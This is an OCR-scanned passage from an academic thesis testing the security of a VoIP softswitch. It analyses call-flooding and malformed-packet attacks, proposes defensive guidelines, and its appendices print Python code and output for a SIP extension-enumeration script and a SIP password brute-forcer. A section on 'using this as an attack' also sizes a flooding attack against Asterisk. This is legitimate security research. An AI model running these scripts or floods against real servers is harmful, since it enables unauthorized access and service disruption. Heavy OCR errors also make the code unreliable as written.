amount of file descriptors had been used. A socket, represented by file descriptors, is 
used for interprocess communication and will only exist for as long as a process holds 
a descriptor referring to it [73J. The test was designed to utilise all the available file 
descriptors . Each call run and utili sed a file descriptor for 1000 seconds, so ASTERISK 
was not terminating any of the phones calls, and therefore not freeing up file 
descriptors to represent new sockets. 
When a process is started in Linux, the kernel enforces a dynamic upper bound on the 
maximum number of file descriptors that can be opened. This value is assigned in the 
structure of the process descriptor which is usually 1024, this can be increased by 
using the ulimit command but can not be increased infinitely [18,108,162]. 
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After the number of file descriptors were increased, we found that another limit was 
reached on the number of calls possible which was less than the amount of file 
descriptors available. This was the number of RTP channels allowed to be opened by 
ASTERISK. This number is set in the rip. con! file on the ASTERISK server. One call 
requires two RTP ports, each one for communication in either direction. 
These two system resource limits that were discovered are set in the OS and ASTERISK 
and can be increased. The call flooding on ASTERISK caused a DoS of the system 
resources of the OS and the softswitch could not accept any new calls. If these 
resources were increased beyond what would be possible with the hardware resources 
available, the hardware resources, like the CPU and bandwidth, will become 
exhausted. 
Sisalem et al. [141] suggest a possible countenneasure to DoS attacks of monitoring 
and filtering through proxy servers. This can be achieved through maintaining lists of 
suspicious users and deny these users. Section 2.5 introduced the current technologies 
for securing softswitches. Some of these technologies can be used to protect 
softswitch against this type of attack by stopping the limits being reached on the 
system resources. 
The type of attack that was carried out in Subsection 3.9 was a softswitch flooding 
attack. In this instance, a VLAN (Subsection 2.5.1) would not be able to defend 
against it. VLAN separates data and voice traffic with logical barriers and this will not 
protect the softswitch from a DoS attack in the VolP domain. 
A NAT is used to hide internal IP addresses and topology from the public Internet by 
using private IP addresses. If the softswitch is providing services to the public Internet 
then a NAT will not be able to protect the softswitch from a softswitch flooding 
attack. This is because the softswitch will need to have a public IP address to provide 
these services and an attacker will be able to target this address with a flood of 
packets. This means that the softswitch will process the packets and consume file 
descri plOrs and exhaust them. 
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Application level firewall s provide a central location for applying security policies 
and if the network is designed properly, all traffic wi ll pass through the firewall. 
Administration and rule definitions on the firewall can be used to deny known 
attackers access to the internal network through security policies. When a DoS attack 
is detected by the system administrator, the rule definitions can be updated to include 
the IP address of the attacker. This will block the DoS attack at the firewall and stop 
the flood of packets reaching the softswitch and consuming system resources on 
illegitimate calls. 
As mentioned in Subsection 2.5.4, an SBC is used in conjunction with a firewall and 
all signalling and media traffic flows through the SBC, the firewall and then the 
softswitch. An SBC is used to provide call admission control and enforce security 
policies and is the first line of defence between the external network and a softswitch. 
If a DoS attack is launched against a softswitch with an SBC protecting it, the SBC 
will protect the internal network from the attack but the SBC resources might be 
exhausted because both the signalling and media traffic pass through it. This will 
protect the softswitch from DoS attacks and congestion by limiting the call rate to 
which the softswitch can handle. A SBC could also redirect the traffic to other 
softswitches to handle the call volume. As in the firewall case, the SBC will block an 
attackers IP address through rule definitions and stop the flood of packets reaching the 
softswitch and exhausting the resources. 
A middlebox solution, Subsection 2.5.5, is similar to a SBC but only the signalling 
traffic is processed by it. The middlebox enforces security policies and instructs the 
firewall to open and close ports for the media traffic. As with a SBC, the middlebox is 
the first line of defence against an attack, but will only process the signalling traffic. 
This would allow the middlebox to block the attack, according to policies, before the 
media traffic is handled, by not opening ports on the firewall, which would require 
fewer resources. The firewall will still be able to open and close ports for legitimate 
calls. 
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The system resources can be used to set an acceptable call limit on a softswitch that 
the CPU and bandwidth can handle and then an ALG can be used to distribute call 
volumes between a collection of softswitches. This would stop the hardware resources 
from being exhausted and from crashing or rebooting the softswitch. 
DoS attacks are a difficult type of problem to solve in a VoIP environment. The 
nature of VoIP is to provide a service to the public network but at the same time 
distinguishing the fine line between friend and foe. A major requirement for 
defending against a DoS attack is reasonable performance, as defence consumes 
server resources [141]. Against this type of attack a middlebox solution would 
provide the best performance. 
4.6.2 Impact that this experiment had on the users of the ASTERISK 
server 
This experiment was successful in being able to flood the targeted ASTERISK server 
with concurrent SIP phone calls. The impact that it could have on the users of the 
ASTERISK server would be that none of the users would be able to make or receive any 
SIP phone calls. This would render their VoIP endpoint useless while the ASTERISK 
server is flooded. Outside VoIP users would not be able to call users that are on the 
ASTERISK server. SIP users will still be able to register with the ASTERISK server and 
have a presence on the server, but would not be able to make calls because either the 
RTP ports or the number of file descriptors would all be valid, depending on how the 
ASTERISK server has been set up. If a user established a call before the flooding 
began, the call will not be ended but now the user is sharing the server and RTP ports 
with another 4999 calls. This could possible degrade the audio of the phone call. 
4.6.3 Using this as an attack 
The default number of RTP ports open on an ASTERISK server is 10 000. It was learnt 
from this experiment that if the number of file descriptors allowed did not stop new 
calls from being established then the number of RTP ports allowed would. An 
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attacker who is familiar with ASTERISK would know that the default number of RTP 
ports allowed open on an ASTERISK server is 10 001. Two RTP ports are needed for 
one phone call. So an attacker should start by trying to establish 5001 concurrent 
phone calls with a targeted ASTERISK server. 
Depending on the number of RTP ports allowed on the targeted ASTERISK and the 
number of file descriptors allowed to be opened on the server, the attacker might not 
reach 5001 concurrent calls. If the attacker had targeted an ASTERISK server that was 
setup on a default OS whilst using a default configuration for ASTERISK, the attacker 
could possibly only need to flood the ASTERISK server with 250 calls. 
4.7 Flooding SIP EXPRESS ROUTER with SIP packets 
This experiment used a tool called SIVUS to flood SER with malformed protocol 
packets, in this case SIP packets, this type of attack was discussed in Subsection 2.3.1. 
SIVUS is a VoIP vulnerability scanner and has been discussed in Section 3.10. For 
this experiment SIVUS was tested on SER 0.8.12 and 0.9.4. Both tests produced 
similar results. 
4.7.1 Reasons why this experiment was unsuccessful for the initial 
purpose 
This experiment did not achieve what it set out to achieve. This was to find 
vulnerabilities in the SIP implementation in SER by using malformed protocol 
messages, which could result in a buffer overflow error, causing a DoS. No buffer 
overflow error was generated, by this experiment did cause a DoS attack, if not in the 
tended way, which resulted in the softswitch not functioning to its full capacity. 
104 
4.7.2 What this experiment did discover 
What was concluded from the experiment run in Section 3.10 is that when SER is 
flooded with malformed SIP packets, and SER attempts to log the errors that these 
packets caused to stderror, SER will crash if the terminal window is closed. This is 
because SER is trying to write to the buffer but is unable to do so. This problem is 
explained further in the rest of this section. 
The Linux OS usually writes error messages to standard error, srderr. srderr is part of 
the three streams or descriptors that are open when a Linux program is started. (The 
others are standard input, srdin, and standard output, stdour [73).) stderr is usually 
outputted to the terminal window. This explains why SER crashed when it was 
configured to log stderr and the terminal window was closed. As mentioned there are 
two ways that SER can be started. When using the command: lete/inir.diser scart to 
start SER, SER is run in the background and thus no terminal window is opened for 
srderr to be outputted to. When the command lusrlsbinlser is used and the terminal is 
left open, stderr is able to output to the terminal window. 
In the SER configuration file, ser,cfg, found in lete/ser, there is an option that allows 
the user to log srderr. The option is as follows: log_srderror=yes for logging of stderr 
or log_srderror=no not to log to srderr. SER can also be started from the command 
line with the arguments of either E or c to force logging of stderr. When logging of 
srderr is enabled, errors are written to the srderr stream using the fprint! [70 ) 
command. For example: 
fprintf(stderr, "ERROR: no listening sockets"); 
When logging of srderr is disabled, either through the configuration file or the 
command line, the commandfreopen is used to write the srderr stream to a file. The 
file specified by the freopen command is opened and is associated with the stream. 
The original srderr stream, which was created when the SER program was started, is 
closed [69). In this instance the Idevlnull file is opened and associated with the srderr 
stream. The following is an extract from SER: 
!O5 
if «!Iog_slderr) && (f,eopen("/dev/null", "w", slderr)==O)){ 
LOG(L_ERR, "unable to ,eplace stderr with Idev/null: %sln", 
st,errorlerrno)) ; 
); 
The variable logjtderr is tested to see if it is zero. This variable is set from either the 
command or from the configuration file . Also, the stream stderr is associated with the 
fi le /dev/null and the stream index is positioned at the beginning of the file using the w 
argument. If the Jreopen command was unsuccessful, a zero is returned, but if it is 
successful a FILE pointer is returned. If a zero is returned from the Jreopen command, 
the global variable errno is set to indicate the error [69]. If the stderr stream is 
associated with the file Idev/null, any data sent to stderr will be written to the file 
Idev/null. Idev/null is a special file on the Linux OS, and any data written to the file 
will be lost and in this case not sent to the terminal window [167] . The logging of 
errors still continues throughout the SER program and the errors are written to the 
stderr stream. Since the user disabled the logging, all the error messages are sent to 
the /dev/null file and are lost. 
Disabling the logging of errors would not be a recommended solution to this problem. 
As mentioned in Subsection 2.4.3, the log files of a SQL database can be used by the 
system admini strator to identify attempted attacks on the database. In this case, if 
logging of errors is disabled, the error messages are sent to /dev/null and the system 
administrator will no be able to use them to identify reasons why SER crashed. If 
logging is enabled and the terminal window is closed, none of the logging can be 
viewed and SER will crash. Also terminal windows provided a limit history. An 
obvious solution would be to patch SER to output to a file that can be viewed in full 
by the system administrator and this will ensure that no error messages would be lost. 
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As mentioned in Subsection 4.6.1, it is possible to provide protection from DoS attack 
to a softswitch through proxy servers by filtering and monitoring the traffic. In that 
instance, it was a flood of correctly formed packets, so the rate needed to be 
controlled. In this instance, it is a flood of malformed packets so the proxy server 
would need to check the integrity of the packets and then filter out the ones that do 
not comply. Application level firewalls, SBCs and Middlebox Communication 
solutions can be used, through security policies, to filter out malformed packets in a 
similar manner as discussed in Subsection 4.6.1. Besides filtering out the malformed 
SIP packets that caused SER to crash, other malformed packets that could potentially 
exploit specific protocol implementation in other softswitches could also be filtered 
out. 
4.7.3 The impacts that this experiment had on SER 
In this experiment SER was acting as a SIP Proxy for ILANGA. All the VoIP endpoints 
are registered with SER and all the calls go through SER to ASTERISK. In practice, 
when SER crashed none of the VoIP endpoints were able to register with SER. This 
stopped the VoIP endpoints from receiving or placing any phone calls or 
communicating with ILANGA, a rather disastrous outcome. 
4.8 Summary 
This chapter analysed the results obtained from the experiments carried out in Chapter 
3 and these results were weight up against the idea introduced in Chapter 2. For the 
successful attacks, the chapter looked at ideas as how to thwart them. The impact of 
unsuccessful experiments was also discussed. 
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Chapter 5 - Conclusion 
The work presented in this thesis was motivated, as discussed in Chapter I, by the 
need to secure a softswitch in a VoIP environment. This is because real-time 
communication, voice in this instance, and data have merged to share the same 
network. Before this merge, voice was run on a closed network where it was sheltered 
from the malicious attacks that affected the data network. The aims for this thesis will 
be revisited in Section 5.2 and compared to what was achieved. 
5.1 Summary 
In Chapter 2, the background to the problem was introduced, which included VoIP 
protocols, the risks in VoIP systems, the current technologies used for securing 
softswitches, rLANGA and the known vulnerabilities of the components of rLANGA. 
Chapter 3 expanded on ILANGA and detailed how it was going to be used in the 
experiments . Followings this, preliminary security measures were discussed for 
ILANGA. This included which "users" were allowed to run the different components 
and how the restrictions on the database were set up. This was done so that if one of 
the components of rLANGA was attacked, the damage was limited to the user of the 
component. The seven experiments that were carried out were introduced, detailing 
how the experiments were run and the environment in which they were run. The 
results obtained from these experiments were as following: 
• The SIP extension discovery script was able to identify which extensions were 
in use on the softswitch by interpreting the response messages sent back from 
the softswitch. 
• As with the SIP extension discovery experiment, the SIP brute force password 
cracker experiment relied on the response messages sent back from the 
softswitch. The script was able to identify the password for an extension. 
108 
• The SQL injection attack proved to be unsuccessful, as a PHP function called 
addslashes was used to insert escape characters where quote marks where 
used in the injected SQL statements. Also, the restrictions that were placed on 
the web server's database user prevented the execution of certain class of 
commands that were inserted into SQL requests sent to the web server. 
Finally, the PHP script did not return the results of the SQL query. 
• The ASTERISK vmail.cgi Script Remote Directory Traversal Vulnerability was 
successfully re-enacted. This vulnerability relied on the use of a cgi file and 
was chosen because cgi files are used in ILANGA, although ILANGA was not 
vulnerable to this attack as ILANGA used a version of ASTERlSK later version 
1.0.9. 
• The individual components, the ILANGA front-end script files, the web server, 
ASTERISK and the MYSQL database, and their interactions were investigated. 
It was found that plain text was always used in the messages exchanged 
between the components. 
• The concurrent call experiment on ASTERISK using ASTERTEsT simulated a 
DoS attack which was successful. 
• A tool called SlVuS was used to launch a SIP buffer overflow attack against 
SER which was unsuccessful. Nevertheless SlVuS was able to crash SER 
through an error in logging to slderr. 
The experiments reponed in Chapter 3 were funher analysed in Chapter 4, to explain 
why the attacks were either successful or unsuccessful. This was followed by a 
discussion which included suggestions of a theoretical nature on how to combat the 
successful attacks as well as an investigation of the potential impact that the 
unsuccessful ones, if successful, could have on ILANGA. The following was concluded 
from the analysis of the experiments: 
• The SIP extension discovery attack was successful because all SIP servers and 
SIP endpoints are designed to respond in the same way to a SIP REGISTER 
message. A method to combat this type of attack would be to alter the SIP 
server to respond as if all the extensions were valid on the SIP server. This 
109 
would still alIow alI legitimate SIP endpoints to register but would prevent an 
attacker from learning which extensions are actualIy valid on the server. 
• The reason why the SIP brute force password cracker was successful was that 
it had unlimited time to attempt to crack an extension's password. The 
proposed method to combat this attack is to ban an IP address for a specified 
amount of time after a certain number of authentication failures, increasing the 
amount of time with the increase of authentication failures. 
• The SQL injection attack against the ILANGA front-end proved to be 
unsuccessful. This can be attributed to the fact that the ILANGA front-end did 
not access the database directly but used a PHP script to do this. The PHP 
script, combined with the restricted access to the database, was able to combat 
SQL injection attacks. 
• The vulnerabilities that were discovered in the ILANGA front-end were due to 
the fact that alI communication between the different components was done in 
plain text. While a distributed architecture is often useful, components spread 
over it naturalIy increase the likelihood of communication interception. 
• Flooding the ASTERISK server with concurrent calIs to disable the server was 
successful. Setting a maximum number of file descriptors limited the number 
of sockets that could be opened, and thus limited the number of calIs. The 
number of RTP ports alIowed to be used also limited the number of calIs. It 
was detennined that these limiting factors were a result of the OS and the 
configuration files within ASTERISK and these factors could be adjusted. 
• Using the SrVuS tool to attack SER was unsuccessful. What was discovered on 
the other hand was a vulnerability when elTors were logged to slderr, which 
caused SER to crash. 
liD 
5.2 Achievements 
The main aims of this project were to test ILANGA for vulnerabilities and from this 
produce a set of guidelines for securing softswitches in a generic way against 
malicious attacks. 
Vulnerabilities were found in iLanga and from this the following five general 
guidelines were produced: 
o Each component of a softswitch should be run as a non-privileged user. 
o If a database is used by the softswitch, user-based and location-based access to 
the database and privileged within the database should be restricted to a 
minimaL 
o SQL statements and other data received from a softswitch's front-end should 
be fully validated at the server side. 
o A softswitch should use a non-distributed architecture where possible. If a 
distributed architecture is used the communication between the components 
must be encrypted. 
o Call volumes on softswitches can naturally be affected by system resources 
settings. These resources should be adjusted to within acceptable limits of the 
underlying hardware resources. Proxy servers within the softswitch 
architecture can help identify certain class of DoS attacks and ALGs can be 
used to enforce security policies that can help a softswitch survive a DoS 
attack. 
The five guidelines produced from this project present a starting point for softswitches 
like ILANGA and other VoIP system to attain a higher level of defence against 
opportunistic attacks. 
III 
5.3 Future work 
Most of the experiments that were carried out in this thesis can be replicated for 
testing on other softswitches : it would be good to compare the different results 
obtained from other softswitches with the results obtained from ILANGA. 
In this proj ect, security solutions for VoIP involving extra hardware (such as ALGs) 
were introduced and discussed but never experimented with. Future work could run 
experiments on the hardware solutions mentioned in Chapter 2 Section 2.5 . 
The Distributed Real-time Application Performance Analyser (DRAPA) [21] 
framework provides a base from which VoIP performance analysis systems can be 
built. DRAPA can be used to mount attacks of various types against iLanga. This 
could be used to test more completely the guidelines produced from this project as the 
project only dealt, for example, with DoS attacks from a single IP address. 
A SIP pre-processor for SNORT can be incorporated into the design of ILANGA and a 
study can be conduct on the security advantage that SNORT could add to a softswitch. 
Based on thi s study, the rule set for the SIP pre-processor can be developed further to 
improve detection and prevention of malicious attacks. 
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Appendix A Creating individual users for the 
different ILANGA components. 
A.I ASTERISK 
Firstly a new user called asterisk is created: 
adduser -c "Asterisk PBX" -d /home/asterisk -u 5060 asterisk 
Some tweaking to the ASTERISK Makefile and the asterisk. con/file 
In the Makefile change the following line from 
ASTVARRUNDIR=$(INSTALL_PREFIXj/var/run 
To the following 
ASTVARRUNDIR=$(INSTALL_PREFIXj/home/asterisk 
Where Ihomelasterisk is the same as the directory that was specified with the --d 
option in the adduser command. 
And in the asterisk. con/file change 
astrundir => /var/run 
to 
astrundir => /home/asterisk 
Now ASTERISK need to be recompiled 
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ASTERISK needs to own and have write pennission at the following directories 
/varnib/asterisk 
/var/log/asterisk 
/var/spool/asterisk 
chown ··recursive asterisk:asterisk Ivar/lib/asterisk 
chown --recursive asterisk:asterisk Ivar/log/asterisk 
chown --recurs ive asterisk:asterisk Ivarlspoollasterisk 
chmod --recursive u=rwX,g=rX,o= /var~ib/asterisk 
chmod --recursive u=rwX,g=rX,o= /var/log/asterisk 
chmod --recursive u=rwX,g=rX,o= /var/spool/asterisk 
and read permission on the letelasterisk directory 
chown --recursive root:asterisk letc/asterisk 
chmod --recursive u=rwX,g=rX,o= /etc/asterisk 
And now to run ASTERISK as user asterisk 
asterisk -wvgc -U asterisk -G asterisk 
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A.2 SIP EXPRESS ROUTER 
To run SER as a non-privileged user is easier than for ASTERISK. 
Firstly a new user needs to be added to the system: 
adduser -{; "SEW -u 5061 -d !homelser ser 
In the ser.cfg file two lines need to be added 
uld = ser 
gid = ser 
and the SERfifo file need to be deleted 
rm ItmplseUifo 
SER can now be started with either the command 
l etclinit.dlser start 
Or 
lusrl srclser 
A.3 The ILANGA front-end 
The user that the ILANGA front end scripts are executed have been changed to the 
APACHE user with the command 
chown .: apache:apache 
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AppendixB SIP extension discovery 
B.l Description of the script 
The script is written in PYTHON and uses the TwiSTED framework . 
The script is started from the command line in Linux, using the following command, 
for example: 
'/sipExtDisco.py -f 7500 -e 7600 -s "146.231.121.134" 
Where the -/ option is the stalt of the range to be discovered and the -e option the end 
of this range. The -s option is the IP address of the SIP server to be probed. 
When the TwiSTED reactor is stalted, reaclOr.run(), the sendDatagram(self) is called 
and a registration message is build through the function 
buildRegistration(se/f.startExt), the buildRegistration function takes the start of the 
range specified in the command line with the -/ option. The registration message is 
built up as followings: 
def buildRegistration(self, username): 
register = tpsip.Request('REGISTER', "sip:%s@%s"%(username,self.host)) 
register.addHeader(,cseq', ·%s REGISTER'%self.dialog.getCSeq(incr=1)) 
register.addHeader(,to' , 
str(self.regAOR)) 
register.addHeader('from', 
str(self.regAOR)) 
register.addHeader(,expires',900) 
self.dialog.setCaIiIDO 
"sip:%s@%s"%(username,seif.host)) 
"sip:%s@%s"%(username,self.host)) 
register.addHeader('call-id', '%s' %self.getCaIllDOl 
register.addHeader('user-agent', 'SIPExtDisco') 
Ihost, Iport = (,%s·%seif.getLocaISIPAddressO, 5060) 
register.addHeader('contact', '<sip:%s@%s:%s>'%(username, Ihost, Iport)) 
reg ister.addHeader(,content-length', '0') 
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# 
# 
register.creationFinished() 
self.addViaHeader(register) 
return register 
The buildRegistration function returns to the sendDatagram function which then 
sends the message to the SIP server specified by the -s option in the command line on 
pon 5060. 
self.transport.write(m.toStringO, (self.host, 5060)) 
When the SIP server replies to the registration message the reactor is listening on pon 
5060, this is specified before the reactor is staned with the command: 
t = reactor.listenUDP(5060, protocol), where protocol is an insanitation of the 
sipDiscoDatagramProtocol object. When a SIP message is received the 
datagramReceived function is called. 
def datagramReceived(self, datagram, host): 
#print 'Datagram received:', datagram, host 
mp = tpsip.MessagesParser(self.sipMessageReceived) 
mp.dataReceived(datagram) 
mp.dataDoneO 
if self.currentUsername == self.startExt: 
self.startExt += 1 
seif.sendDatagramO 
else: 
self.sendDatagramO 
if self.currentUsername == self.endExt: 
self.avaiIFile.closeO 
reactor.stopO 
print "Done" 
The datagramRecieved function parsers the SIP message and passes on the SIP 
message to the function sipMessageReceived function, it also checks if the message 
received has the same extension as the one that was sent, if it was the extension is 
increased by one and another SIP registration message is send. The received message 
is also checked to see if the current extension is the last one in the range specified by 
130 
the user. If it is the file where the found extensions are written is closed and the 
reactor is stop, which stops the script. 
The sipMessageReceived function uses the SIP message's code to determine if the 
extension is valid on the specified SIP server. If the SIP message's code is 401, 
meaning the extension is unauthorized, then the extension is valid on the SIP server 
but the password was incorrect. The current extension is then written to a file. 
If the SIP message's code is 404, not found, then the extension is not valid on the SIP 
server and the script continues to send another SIP registration message with another 
extension. 
If the code of the SIP message is 407 then it is a proxy authentication error, similar to 
a 401 error and the extension is also saved to file. After the SIP message's codes have 
been checked the script continues to send another SIP registration message with a new 
extension. 
def sipMessageReceived(self, message): 
if hasattr(message, 'code'): 
sell.getUsernameFromMessage(message) 
if message. code == 401 : 
print , ... * ... *** 40t unauthorized 
self .currentUsername 
for 
self.avaiIFile,write('%s\n'%self.currentUsername) 
elil message.code == 404: 
extension:', 
print '404 not lound lor extension :', self.currentUsername 
elif message.code == 407: 
print '407 proxy auth' 
sell.avaiIFile.write('%sln'%sell.currentUsername) 
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B.2 Test results 
Example output of sipExrDisco.py 
jake@ilanga2:-/SIP BF$ .IsipExtDisco.py -f 7500 -e 7550 - s "146.231.121.134" 
Starting 
404 not found for extension: 7500 
404 not found for extension: 7501 
404 not found for extension: 7502 
404 not found for extension: 7503 
404 not found for extension: 7504 
404 not found lor extension: 7505 
404 not found for extension: 7506 
404 not found for extension: 7507 
404 not found for extension: 7508 
404 not found for extension: 7509 
404 not found for extension: 7510 
404 not found for extension: 751 1 
404 not found for extension: 7512 
404 not found for extension: 7513 
404 not found for extension: 7514 
404 not found for extension: 7515 
404 not found for extension: 7516 
404 not found for extension: 7517 
404 not found for extension: 7518 
404 not found for extension: 7519 
404 not found for extension: 7520 
404 not found for extension: 7521 
404 not found for extension : 7522 
404 not found for extension: 7523 
········401 unauthorized for extension: 7524 
404 not found for extension: 7525 
.. __ un 401 unauthorized for extension: 7526 
404 not found for extension: 7527 
404 not found for extension: 7528 
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404 not found for extension: 7529 
404 not found for extension: 7530 
404 not found for extension: 7531 
404 not found for extension : 7532 
404 not found for extension: 7533 
404 not found for extension: 7534 
404 not found for extension: 7535 
404 not found for extension: 7536 
404 not found for extension: 7537 
404 not found for extension: 7538 
404 not found for extension: 7539 
404 not found for extension: 7540 
404 not found for extension : 7541 
404 not found for extension: 7542 
404 not found for extension: 7543 
404 not found for extension: 7544 
404 not found for extension: 7545 
404 not found for extension: 7546 
404 not found for extension: 7547 
404 not found for extension: 7548 
404 not found for extension: 7549 
404 not found for extension: 7550 
Done 
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Appendix C SIP brute force password cracker 
C.l Description of the script 
The script is started from the command line, using the following command, for 
example: 
'!sipBruteForcePasswd.py -e 1009 -5 "146.231.123.45" 
Where the -e option is the extensionlusemame that will be brute force cracked and the 
-s option is the IP address of the SIP server to be targeted. 
When the TWISTED reactor is started, reactor.run(), the sendDatagram(self) is called 
and a registration message is build through the function buildRegistration(se/fextJ, 
the buildRegistration function takes the extension specified in the command line with 
the - e option. The registration message is built up as followings: 
def buildRegistration(self, username,callid=None, auth=None, authhdr=None): 
register = tpsip.Request(,REGISTER', "sip:%s@%s"%(username,self.host)) 
register.addHeader(,cseq', '%5 REGISTER'%self.dialog .getCSeq(incr= 1 )) 
register.addHeader(,to', "sip:%s@%s"%(username,self.host)) 
register.addHeader(,from', "sip:%s@%s"%(username,self.host)) 
register.addHeader(,expires', 900) 
self.dialog.setCaIiIDO 
if callid is None: 
register.addHeader('call-id', '%5' %self.getCaIllD()) 
else: 
register.addHeader(,call -id', ''los' 'Iocallid) 
if auth is not None: 
register.addHeader(authhdr, auth) 
register.addHeader(,user-agent', 'sipBruteForce') 
Ihost, Iport = (,%s'%self.getLocaISIPAddressO, 5060) 
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register.addHeader(,contact' , '<sip:%s@%s:%s>'%(username, Ihost, Iport)) 
register.addHeader('content-length', '0') 
register.creationFinishedO 
self.addViaHeader(register) 
#print register.toStringO 
return register 
The buildRegistratiolI function returns to the sendDatagram function which then 
sends Ihe message to the SIP server specified by the -s option in the command line on 
pan 5060, 
self.transport.write(m.toStringO, (self.host, 5060)) 
When the SIP server replies to the Registration message the reactor is listening on 
pan 5060, this is specified before the reactor is staned with the command: 
t = reactor.listenUDP(5060, protocol), where protocol is an insanitation of the 
sipBruteForceDatagramProtocol object. When a SIP message is received the 
datagramReceived function is called. 
def datagramReceived(self, datagram, host): 
#print 'Datagram received : " datagram, host 
mp = tps ip.MessagesParser(self.sipMessageReceived) 
mp.dataReceived(datagram) 
mp.dataOoneO 
if self.success: 
self.avaiIFile.closeO 
reactor.stopO 
print "Done" 
The datagramRecieved function parsers the SIP message and passes on the SIP 
message to the sipMessageReceived function, it also checks if the success Boolean 
variable is true, which would mean that that the password has been successfully 
cracked and the script can be stopped. 
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The sipMessageReceived function check the code of the SIP message received back. 
If the code is 40 I, we already know that the extension existed on this SIP server but 
contained in the SIP message with a 401 code is the nonce that is need to create the 
hashed response message to register with the SIP server. When a SIP message is 
received with this code, the password is increased by one and the message received is 
sent to the sendAuthMessage function. 
If a message with the code 403 is received, this means that the password that was 
hashed together with the nonce from the previous message received was incorrect and 
have received a forbidden message in response. A new registration message needs to 
be sent to the SIP server in order to get another nonce. 
If a code 404 is received back then the extension is not existed but we shouldn't get 
one of these. 
A code 200 means that right password was hashed together with the nonce and the 
Boolean variable success is set to True, stopping the reactor and ending the script. 
del sipMessageReceived(self, message): 
if hasattr(message, 'code'): 
if message.code == 401: 
print , ............... 401 unauthorized for extension:', self.ext 
self.password += 1 
self.noOfTries += 1 
self.sendAuthMessage(message) 
elif message.code == 403: 
#need to get a new nonce 
print 'sending new message to get a new nonce' 
self.sendDatagramO 
elif message.code == 404: 
print '404 not found for extension:', self.ext 
elif message.code == 200: 
print 'number of tries: ',self.noOfTries 
print 'success .-.------- password is: ',self.password 
self.success = True 
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The sendAurhMessage function extracts the information from the 401 code message 
received to construct the hash response needed to authenticate with the SIP server, the 
information is extracted as follows: 
del sendAuthMessage(sell, message): 
print "sending auth message" 
inH, outH = 'www-authenticate', 'authorization' 
realmNonce = message.headers.get(inH) 
method = message.headerslcseq'][0].split()[1] 
cred = (self.ext,self.password) 
uri = 'sip:146.231.121 .134' 
auth = self.calcAuth(method, uri, realmNonce, cred) 
#the call-id needs to be that same as the lirst registration attempt 
new Message = sell.buildRegistration(self.ext,message.headers['call-id'][O],auth, 
outH) 
self.transport. write( newMessage. toStringO, (self. host, 5060)) 
The calcAuth function calculates the hashed response from the method, the URI, the 
realm, the nonce and the use marne and password. Then a new registration message is 
created using the buildRegistrarion function but this time sending the call-id, hashed 
response and the authorization header. The new message needs the same call-id as the 
first registration attempt message else the registration will be rejected. The new SIP 
message is then sent to the SIP server specified with the - s option from the command 
line. 
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C.2 Test results 
Example output of sipBruleForcePasswd.py 
./sipBluteForcePasswd.py -e 7526 -s '146.231.121.134" 
•••••••• 401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
........... 401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
········401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
... u**** 401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
········401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
........ 401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
........ 401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
•• .. • .. ·401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
•••••••• 40t unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
........ * 401 unauthorized for extension: 7526 
sending auth message 
sending new message to get a new nonce 
•••••••• 401 unauthorized for extension: 7526 
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sending aulh message 
sending new message to get a new nonce 
········401 unaulhorized for eXlension: 7526 
sending aulh message 
sending new message to get a new nonce 
········401 unaulhorized for eXlension: 7526 
sending auth message 
sending new message to get a new nonce 
u ....... 401 unauthorized for extension: 7526 
sending aulh message 
sending new message to get a new nonce 
...... ··401 unauthorized for extension: 7526 
sending aulh message 
number of Iries: 234 
success ---------- password is: 1234 
Done 
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